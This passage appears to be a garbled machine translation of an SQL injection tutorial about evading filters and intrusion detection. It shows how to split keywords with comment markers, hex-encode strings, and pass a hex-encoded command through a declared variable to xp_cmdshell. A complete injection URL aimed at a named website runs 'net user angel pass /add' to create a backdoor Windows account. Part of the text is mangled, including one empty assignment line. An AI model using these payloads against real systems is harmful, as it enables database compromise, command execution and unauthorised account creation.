/Replaces the blank space with/**, for example:

UNION/**/Select/** /user, pwd, from tbluser 

/Divides the sensitive word with/**, for example:

U/**/NION/**/SE/**/LECT/** /user, pwd from tbluser 

11th, bypasses with HEX, IDS generally is unable to examine 

0x730079007300610064006D0069006E00 =hex(sysadmin) 
0x640062005F006F0077006E0065007200 =hex(db_owner) 

Moreover, about the universe point filtration method, we may consider that uses the evaluation the method, for example stated first variable a, then gives ours instruction evaluation a, then transfer variable a carries out the order which finally we input. Variable a may be any order. As follows: 

¡¡¡¡declare @a sysname 
¡¡¡¡select @a= 
¡¡¡¡exec master.dbo.xp_cmdshell @a 

Effect

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a; -- 

And 

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
Is

“net user angel pass /add”
Meaning.